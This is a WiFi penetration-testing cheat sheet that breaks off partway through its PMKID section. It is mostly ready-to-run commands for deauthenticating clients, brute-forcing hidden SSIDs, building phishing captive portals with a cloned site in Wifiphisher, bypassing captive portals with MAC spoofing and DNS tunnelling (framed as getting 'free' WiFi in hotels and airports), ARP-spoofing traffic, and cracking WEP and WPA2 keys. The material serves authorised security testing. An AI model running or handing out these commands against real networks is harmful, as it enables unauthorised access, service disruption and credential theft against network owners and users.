WiFi Penetration Testing Guide

Index

1. Basic commands

2. Open networks

   2.1. Captive portals

   2.2. Man in the Middle attack

3. WEP cracking

   3.1. No clients

4. WPA2-PSK cracking

   4.1. Cracking the 4-way-handshake

   4.2. PMKID attack

   4.3. AP-less attack

5. WPA2-Enterprise

   5.1. Fake Access Points

   5.2. Brute force

   5.3. EAP methods supported

6. Other attacks

   6.1. Krack Attack and Frag Attack

   6.2. OSINT

   6.3. Wifi Jamming

   6.4. Other frameworks

7. Post-exploitation

   7.1. Attacking the router

   7.2. Types of scanners

   7.3. Spoofing

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1. Basic commands

Set environment variable

VARIABLE=value

Check interface mode

iwconfig $IFACE

Check interface status

ifconfig $IFACE

Set monitor mode

airmon-ng check kill
ifconfig $IFACE down
iwconfig $IFACE mode monitor
ifconfig $IFACE up

List networks

1. Set monitor mode

2. Run Airodump-ng-ng

airodump-ng $IFACE -c $CHANNEL -e $ESSID

Deauthentication

1. Only one client

 aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC -c $CLIENT_MAC $IFACE

2. An Access Point (= all the clients in the AP)

 aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC $IFACE

Get hidden SSID with clients

1. List networks

List the networks using Airodump-ng and get the AP's MAC address ($AP_MAC) and one from a client ($CLIENT_MAC). Do not stop the capture.

2. Deauthenticate

In another terminal, deauthenticate a client or all of them. When Airodump-ng captures a handshake from this network, the name or ESSID will appear in the first terminal:

aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC -c $CLIENT_MAC $IFACE

Get hidden SSID without clients

1. List networks

List the networks using Airodump-ng and get the AP's MAC address ($AP_MAC) and one from a client ($CLIENT_MAC). Do not stop the capture.

2.a. Execute a dictionary attack

mdk3 $IFACE p -t $AP_MAC -f $DICTIONARY_PATH

2.b. Or execute a bruteforce attack

mdk3 $IFACE p -t $AP_MAC -с $AP_CHANNEL -b $CHARACTER_SET

For the character set it is possible to use l (lowercase letters), u (uppercase letters), n (numbers), c (lowercase+uppercase), m (lowercase+uppercase+numbers) or a (all printed).

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2. Open networks

2.1. Captive portals

2.1.1. Fake captive portals

1. Clone a website using HTTrack

2. Install Wifiphiser. Add the HTTrack result in a new folder in wifiphisher/data/phishing-pages/new_page/html and a configuration file in wifiphisher/data/phishing-pages/new_page/config.ini.

3. Recompile the project using python setup.py install or the binary in bin.

4. This command works correctly in the latest Kali release after installing hostapd:

cd bin && ./wifiphisher -aI $IFACE -e $ESSID --force-hostapd -p $PLUGIN -nE

2.1.2. Bypass 1: MAC spoofing

The first method to bypass a captive portal is to change your MAC address to one of an already authenticated user

1. Scan the network and get the list of IP and MAC addresses. You can use:

• nmap

• A custom script like this (Bash) or this (Python)

2. Change your IP and MAC addresses. You can use:

• macchanger

• A custom script like this(Bash)

Also, you can use scripts to automate the process like:

• Poliva script

• Hackcaptiveportals

2.1.3. Bypass 2: DNS tunnelling

A second method is creating a DNS tunnel. For this, it is necessary to have an accessible DNS server of your own. You can use this method to bypass the captive portal and get "free" Wifi in hotel, airports...

1. Check the domain names are resolved:

nslookup example.com

2. Create 2 DNS records (in Digital ocean, Afraid.org...):

• One "A record": dns.$DOMAIN pointing to the $SERVER_IP (Example: dns.domain.com 139.59.172.117)

• One "NS record": hack.$DOMAIN pointing to dns.$DOMAIN (Example: hack.domain.com dns.domain.com)

3. Execution in the server

iodined -f -c -P $PASS -n $SERVER_IP 10.0.0.1 hack.$DOMAIN

4. Check if it works correctly in here

5. Execution in the client

iodine -f -P $PASS $DNS_SERVER_IP hack.$DOMAIN

6. Create the tunnel

ssh -D 8080 [email protected]

2.2. Man in the Middle attack

Once you are in the network, you can test if it is vulnerable to Man in the Middle attacks.

1. ARP Spoofing attack using Ettercap

2. Sniff the traffic using Wireshark or TCPdump

3. Analyze the traffic using PCredz (Linux) or Network Miner (Windows)

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3. WEP cracking

1. Start capture

airodump-ng -c $AP_CHANNEL --bssid $AP_MAC -w $PCAP_FILE $IFACE

2. Accelerate the IV capture using Fake authentication + Arp Request Replay Attack + Deauthenticate user. Stop Airodump at ~100.000 different IVs

aireplay-ng -1 0 -e $AP_NAME -a $AP_MAC -h $MY_MAC $IFACE
aireplay-ng -3 -b $AP_MAC -h $MY_MAC $IFACE
aireplay-ng -0 1 -a $AP_MAC -c $STATION_MAC $IFACE

3. Crack the password using Aircrack-ng

aircrack-ng $PCAP_FILE

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4. WPA2-PSK cracking

4.1. Cracking the 4-way-handshake

1. Start capture

airodump-ng -c $AP_CHANNEL --bssid $AP_MAC -w $PCAP_FILE $IFACE

2. Deauthenticate an user. Stop airodump capture when you see a message 'WPA handshake: $MAC'

aireplay-ng -0 1 -a $AP_MAC -c $STATION_MAC $IFACE

3. Option 1: Crack the handshake using Aircrack-ng

aircrack-ng -w $WORDLIST capture.cap

You can get wordlists from here.

4. Option 2: Crack the handshake using Pyrit

pyrit -r $PCAP_FILE analyze
pyrit -r $PCAP_FILE -o $CLEAN_PCAP_FILE strip
pyrit -i $WORDLIST import_passwords
pyrit eval
pyrit batch
pyrit -r $CLEAN_PCAP_FILE attack_db

4.2. PMKID attack

You can use this script or follow these steps:

1. Install Hcxdumptool and Hcxtool (you can use this script).

2. Stop Network Manager

airmon-ng check kill

3a. If you want to attack a specific MAC address

• Create a text file ($FILTER_FILE) and add the MAC address without ":". You can use sed and redirect the output to a file:

echo $MAC | sed 's/://g' > $FILTER_FILE

• Capture PMKID

hcxdumptool -i $IFACE -o $PCAPNG_FILE --enable_status=1 --filterlist=$FILTER_FILE --filtermode=2